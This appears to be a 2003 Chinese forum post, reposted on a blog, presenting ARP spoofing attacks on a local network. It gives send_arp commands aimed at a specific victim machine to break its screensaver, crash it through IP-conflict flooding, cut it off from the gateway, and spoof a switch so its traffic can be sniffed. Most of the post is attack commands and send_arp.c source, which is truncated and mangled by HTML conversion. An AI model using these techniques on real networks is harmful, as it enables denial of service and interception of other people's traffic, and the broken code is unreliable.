ARP !!!!!!

由 Snoopy 在 03-30-2003 13:18 发表:

ARP !!!!!!

以下讨论的机子有

一个要攻击的机子:10.5.4.178

硬件地址:52:54:4C:98:EE:2F

我的机子: :10.5.3.69

硬件地址:52:54:4C:98:ED:C5

网关: 10.5.0.3

硬件地址:00:90:26:3D:0C:F3

一台交换机另一端口的机子:10.5.3.3

硬件地址:52:54:4C:98:ED:F7

一:用ARP破WINDOWS的屏保

原理:利用IP冲突的级别比屏保高,当有冲突时,就会

跳出屏保。

关键:ARP包的数量适当。

[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \

10.5.4.178 52:54:4C:98:EE:2F 40

二:用ARP导致IP冲突,死机

原理:WINDOWS 9X,NT4在处理IP冲突时,处理不过来,导致死机。

注: 对WINDOWS 2K,LINUX相当于flooding,只是比一般的FLOODING

有效的多.对LINUX,明显系统被拖慢。

[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \

10.5.4.178 52:54:4C:98:EE:2F 999999999

三:用ARP欺骗网关,可导致局域网的某台机子出不了网关。

原理:用ARP应答包去刷新对应着要使之出不去的机子。

[root@sztcww tools]# ./send_arp 10.5.4.178 52:54:4C:98:EE:22 \

10.5.4.178 00:90:26:3D:0C:F3 1

注意:如果单单如上的命令,大概只能有效几秒钟,网关机子里的ARP

高速缓存会被被攻击的机子正确刷新,于是只要...

四:用ARP欺骗交换机,可监听到交换机另一端的机子。

可能需要修改一下send_arp.c,构造如下的数据包。

ethhdr

srchw:52:54:4C:98:ED:F7--->dsthw:FF:FF:FF:FF:FF:FF proto:806H

arphdr

hwtype:1 protol:800H hw_size:6 pro_size:4 op:1

s_ha:52:54:4C:98:ED:F7 s_ip:10.5.3.3

d_ha:00:00:00:00:00:00 d_ip:10.5.3.3

然后就可以sniffer了。

原理:

交换机是具有记忆MAC地址功能的,它维护一张MAC地址和它的口号表

所以你可以先来个ARP 欺骗,然后就可以监听了

不过需要指出,欺骗以后,同一个MAC地址就有两个端口号

yuange说,"这样其实就是一个竞争问题。"

好象ARP 以后,对整个网络会有点影响,不过我不敢确定

既然是竞争,所以监听也只能监听一部分,不象同一HUB下的监听。

对被监听者会有影响,因为他掉了一部分数据。

当然还有其他一些应用,需要其他技术的配合。

以下是send_arp.c的源程序

/*

This program sends out one ARP packet with source/target IP

and Ethernet hardware addresses suuplied by the user. It

compiles and works on Linux and will probably work on any

Unix that has SOCK_PACKET. [email protected]

*/

#include

  1<netdb.h>   
  2  
  3#include <sys socket.h="">   
  4  
  5#include <sys types.h="">   
  6  
  7#include <stdio.h>   
  8  
  9#include <errno.h>   
 10  
 11#include <sys ioctl.h="">   
 12  
 13#include <net if.h="">   
 14  
 15#include <signal.h>   
 16  
 17#include <netinet ip.h="">   
 18  
 19#include <netinet in.h="">   
 20  
 21#include <string.h>   
 22  
 23#include <arpa inet.h="">   
 24  
 25#include <netinet ip_icmp.h="">   
 26  
 27#include <linux if_ether.h="">   
 28  
 29#define ETH_HW_ADDR_LEN 6   
 30  
 31#define IP_ADDR_LEN 4   
 32  
 33#define ARP_FRAME_TYPE 0x0806   
 34  
 35#define ETHER_HW_TYPE 1   
 36  
 37#define IP_PROTO_TYPE 0x0800   
 38  
 39#define OP_ARP_REQUEST 2   
 40  
 41#define OP_ARP_QUEST 1   
 42  
 43#define DEFAULT_DEVICE "eth0"   
 44  
 45char usage[] = {"send_arp: sends out custom ARP packet. yuri volobuev   
 46  
 47usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"};   
 48  
 49struct arp_packet   
 50  
 51{   
 52  
 53u_char targ_hw_addr[ETH_HW_ADDR_LEN];   
 54  
 55u_char src_hw_addr[ETH_HW_ADDR_LEN];   
 56  
 57u_short frame_type;   
 58  
 59u_short hw_type;   
 60  
 61u_short prot_type;   
 62  
 63u_char hw_addr_size;   
 64  
 65u_char prot_addr_size;   
 66  
 67u_short op;   
 68  
 69u_char sndr_hw_addr[ETH_HW_ADDR_LEN];   
 70  
 71u_char sndr_ip_addr[IP_ADDR_LEN];   
 72  
 73u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];   
 74  
 75u_char rcpt_ip_addr[IP_ADDR_LEN];   
 76  
 77u_char padding[18];   
 78  
 79};   
 80  
 81void die (char *);   
 82  
 83void get_ip_addr (struct in_addr *, char *);   
 84  
 85void get_hw_addr (char *, char *);   
 86  
 87int main (int argc, char * argv[])   
 88  
 89{   
 90  
 91struct in_addr src_in_addr, targ_in_addr;   
 92  
 93struct arp_packet pkt;   
 94  
 95struct sockaddr sa;   
 96  
 97int sock;   
 98  
 99int j,number;   
100  
101if (argc != 6)   
102  
103die(usage);   
104  
105sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));   
106  
107if (sock &lt; 0)   
108  
109{   
110  
111perror("socket");   
112  
113exit(1);   
114  
115}   
116  
117number=atoi(argv[5]);   
118  
119pkt.frame_type = htons(ARP_FRAME_TYPE);   
120  
121pkt.hw_type = htons(ETHER_HW_TYPE);   
122  
123pkt.prot_type = htons(IP_PROTO_TYPE);   
124  
125pkt.hw_addr_size = ETH_HW_ADDR_LEN;   
126  
127pkt.prot_addr_size = IP_ADDR_LEN;   
128  
129pkt.op = htons(OP_ARP_QUEST);   
130  
131get_hw_addr(pkt.targ_hw_addr, argv[4]);   
132  
133get_hw_addr(pkt.rcpt_hw_addr, argv[4]);   
134  
135get_hw_addr(pkt.src_hw_addr, argv[2]);   
136  
137get_hw_addr(pkt.sndr_hw_addr, argv[2]);   
138  
139get_ip_addr(&amp;src_in_addr, argv[1]);   
140  
141get_ip_addr(&amp;targ_in_addr, argv[3]);   
142  
143memcpy(pkt.sndr_ip_addr, &amp;src_in_addr, IP_ADDR_LEN);   
144  
145memcpy(pkt.rcpt_ip_addr, &amp;targ_in_addr, IP_ADDR_LEN);   
146  
147bzero(pkt.padding,18);   
148  
149strcpy(sa.sa_data,DEFAULT_DEVICE);   
150  
151for (j=0;j&lt;number;j++)   
152  
153{   
154  
155if (sendto(sock,&amp;pkt,sizeof(pkt),0,&amp;sa,sizeof(s</linux></netinet></arpa></string.h></netinet></netinet></signal.h></net></sys></errno.h></stdio.h></sys></sys></netdb.h>
Published At
Categories with 服务器类
Tagged with
comments powered by Disqus